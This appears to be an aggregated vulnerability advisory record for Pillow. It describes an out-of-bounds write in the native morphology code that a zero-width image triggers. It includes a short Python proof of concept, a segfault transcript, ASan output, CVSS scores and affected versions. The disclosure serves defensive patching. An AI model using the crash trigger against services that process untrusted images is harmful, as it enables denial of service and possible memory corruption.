{"id":"GHSA-58r4-6rv3-gfh8","aliases":["BIT-pillow-2026-112397","CVE-2026-112397","PYSEC-2026-4329"],"title":"Pillow: Out-of-bounds access in _imagingmorph on a zero-width image","titleSource":"OSV","descriptionSource":"OSV","declaredSeverity":"HIGH","description":"### Summary\nA PPM or PGM file can declare a width of 0, which Pillow accepts, producing an image of size `(0, N)`. Passing that image to `ImageMorph.MorphOp.apply()` makes the native morphology code index a row buffer at `outrow[width - 1]`, which is `outrow[-1]` when the width is 0. The process crashes.\n\n### Details\nThe PPM parser reads width and height with no lower-bound check:\n\n- `src/PIL/PpmImagePlugin.py:119`\n\nThe native `apply()` writes the row edges with no guard that the width is positive:\n\n- `src/_imagingmorph.c:81` sets `outrow[0] = outrow[width - 1] = 0;`\n\n`match()` and `get_on_pixels()` use the same edge-indexing pattern.\n\n### PoC\n```python\nfrom PIL import Image, ImageMorph\n\n# A width-0 image (also producible from a crafted PPM header). apply() indexes\n# outrow[width - 1] == outrow[-1] in native code.\nim = Image.new(\"L\", (0, 5))\nImageMorph.MorphOp(op_name=\"dilation4\").apply(im)\n```\n\nRun it:\n```\n$ python 03_poc.py\nSegmentation fault (core dumped)\n```\n\nObserved on a source build of commit `3e2ab96`.\n\nUnder AddressSanitizer:\n```\n==ERROR: AddressSanitizer: SEGV on unknown address (pc ... in apply)\n    #0 apply   src/_imagingmorph.c:81\nSUMMARY: AddressSanitizer: SEGV src/_imagingmorph.c:81 in apply\n```\nWith width 0 the `outrow[width - 1]` write lands on an unmapped page, so it surfaces as a SEGV pinned to the edge-write line rather than a redzone overflow.\n\n### Impact\nOut-of-bounds write in a C extension. Affects any application that runs a morphology operation on an image opened from untrusted input. Result is a crash and possible memory corruption.","severity":"high","score":8.7,"published":"2026-10-19T22:17:06.970Z","modified":"2026-10-28T11:10:53.627Z","withdrawn":false,"knownExploited":false,"affected":[{"ecosystem":"PyPI","name":"pillow","sources":[{"name":"OSV · GHSA-58r4-6rv3-gfh8","url":"https://osv.dev/vulnerability/GHSA-58r4-6rv3-gfh8"}],"ranges":[{"events":[{"introduced":"0"},{"fixed":"13.0.0"}],"type":"ECOSYSTEM"}],"versions":["1.0","1.1","1.2","1.3","1.4","1.5","1.6","1.7.0","1.7.1","1.7.2","1.7.3","1.7.4","1.7.5","1.7.6","1.7.7","1.7.8","10.0.0","10.0.1","10.1.0","10.2.0","10.3.0","10.4.0","11.0.0","11.1.0","11.2.1","11.3.0","12.0.0","12.1.0","12.1.1","12.2.0","12.3.0","2.0.0","2.1.0","2.2.0","2.2.1","2.2.2","2.3.0","2.3.1","2.3.2","2.4.0","2.5.0","2.5.1","2.5.2","2.5.3","2.6.0","2.6.1","2.6.2","2.7.0","2.8.0","2.8.1","2.8.2","2.9.0","3.0.0","3.1.0","3.1.0.rc1","3.1.0rc1","3.1.1","3.1.2","3.2.0","3.3.0","3.3.1","3.3.2","3.3.3","3.4.0","3.4.1","3.4.2","4.0.0","4.1.0","4.1.1","4.2.0","4.2.1","4.3.0","5.0.0","5.1.0","5.2.0","5.3.0","5.4.0","5.4.0.dev0","5.4.1","6.0.0","6.1.0","6.2.0","6.2.1","6.2.2","7.0.0","7.1.0","7.1.1","7.1.2","7.2.0","8.0.0","8.0.1","8.1.0","8.1.1","8.1.2","8.2.0","8.3.0","8.3.1","8.3.2","8.4.0","9.0.0","9.0.1","9.1.0","9.1.1","9.2.0","9.3.0","9.4.0","9.5.0"],"fixed":["13.0.0"]},{"ecosystem":"PyPI","name":"pillow","sources":[{"name":"OSV · PYSEC-2026-4329","url":"https://osv.dev/vulnerability/PYSEC-2026-4329"}],"ranges":[{"events":[{"introduced":"0"},{"fixed":"13.0.0"}],"type":"ECOSYSTEM"}],"versions":["1.0","1.1","1.2","1.3","1.4","1.5","1.6","1.7.0","1.7.1","1.7.2","1.7.3","1.7.4","1.7.5","1.7.6","1.7.7","1.7.8","10.0.0","10.0.1","10.1.0","10.2.0","10.3.0","10.4.0","11.0.0","11.1.0","11.2.1","11.3.0","12.0.0","12.1.0","12.1.1","12.2.0","12.3.0","2.0.0","2.1.0","2.2.0","2.2.1","2.2.2","2.3.0","2.3.1","2.3.2","2.4.0","2.5.0","2.5.1","2.5.2","2.5.3","2.6.0","2.6.1","2.6.2","2.7.0","2.8.0","2.8.1","2.8.2","2.9.0","3.0.0","3.1.0","3.1.0.rc1","3.1.0rc1","3.1.1","3.1.2","3.2.0","3.3.0","3.3.1","3.3.2","3.3.3","3.4.0","3.4.1","3.4.2","4.0.0","4.1.0","4.1.1","4.2.0","4.2.1","4.3.0","5.0.0","5.1.0","5.2.0","5.3.0","5.4.0","5.4.0.dev0","5.4.1","6.0.0","6.1.0","6.2.0","6.2.1","6.2.2","7.0.0","7.1.0","7.1.1","7.1.2","7.2.0","8.0.0","8.0.1","8.1.0","8.1.1","8.1.2","8.2.0","8.3.0","8.3.1","8.3.2","8.4.0","9.0.0","9.0.1","9.1.0","9.1.1","9.2.0","9.3.0","9.4.0","9.5.0"],"fixed":["13.0.0"]}],"sourceAffected":[],"references":["https://github.com/python-pillow/Pillow/security/advisories/GHSA-58r4-6rv3-gfh8","https://nvd.nist.gov/vuln/detail/CVE-2026-112397","https://github.com/python-pillow/Pillow/commit/18f7c0dfee93063c51db6ed0ca8c4da2999dcb64","https://github.com/python-pillow/Pillow","https://github.com/python-pillow/Pillow/releases/tag/13.0.0"],"sources":[{"name":"OSV","id":"GHSA-58r4-6rv3-gfh8","modified":"2026-10-28T11:10:53.627071818Z","url":"https://osv.dev/vulnerability/GHSA-58r4-6rv3-gfh8"},{"name":"OSV","id":"PYSEC-2026-4329","modified":"2026-10-28T11:10:53.627071818Z","url":"https://osv.dev/vulnerability/PYSEC-2026-4329"}],"assessments":[{"source":"OSV","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","score":8.7},{"source":"OSV","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5}],"products":[],"remediation":[],"kev":{"status":"not-listed","checkedAt":"2026-10-28T22:15:33.378Z"},"coverage":[{"source":"NVD","status":"available","checkedAt":"2026-10-28T11:35:40.887Z","attemptedAt":"2026-10-28T11:35:40.887Z"},{"source":"GHSA","status":"available","checkedAt":"2026-10-28T11:35:40.121Z","attemptedAt":"2026-10-28T11:35:40.121Z"},{"source":"EUVD","status":"available","checkedAt":"2026-10-28T11:35:41.836Z","attemptedAt":"2026-10-28T11:35:41.836Z"},{"source":"EPSS","status":"available","checkedAt":"2026-10-28T11:35:39.249Z","attemptedAt":"2026-10-28T11:35:39.249Z"}],"evidence":[{"source":"FIRST EPSS","id":"CVE-2026-112397","url":"https://www.first.org/epss/","probability":0.00493,"percentile":0.42153,"date":"2026-10-27","checkedAt":"2026-10-28T11:35:39.249Z"},{"source":"GitHub Advisory Database","id":"GHSA-58r4-6rv3-gfh8","url":"https://github.com/advisories/GHSA-58r4-6rv3-gfh8","modified":"2026-10-20T20:56:23Z","checkedAt":"2026-10-28T11:35:40.121Z"},{"source":"NVD","id":"CVE-2026-112397","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112397","modified":"2026-10-27T21:00:11.173","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","checkedAt":"2026-10-28T11:35:40.887Z"},{"source":"NVD","id":"CVE-2026-112397","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112397","modified":"2026-10-27T21:00:11.173","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","checkedAt":"2026-10-28T11:35:40.887Z"},{"source":"ENISA EUVD","id":"EUVD-2026-104640","url":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-104640","modified":"Oct 19, 2026, 9:38:18 PM","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","checkedAt":"2026-10-28T11:35:41.836Z"}]}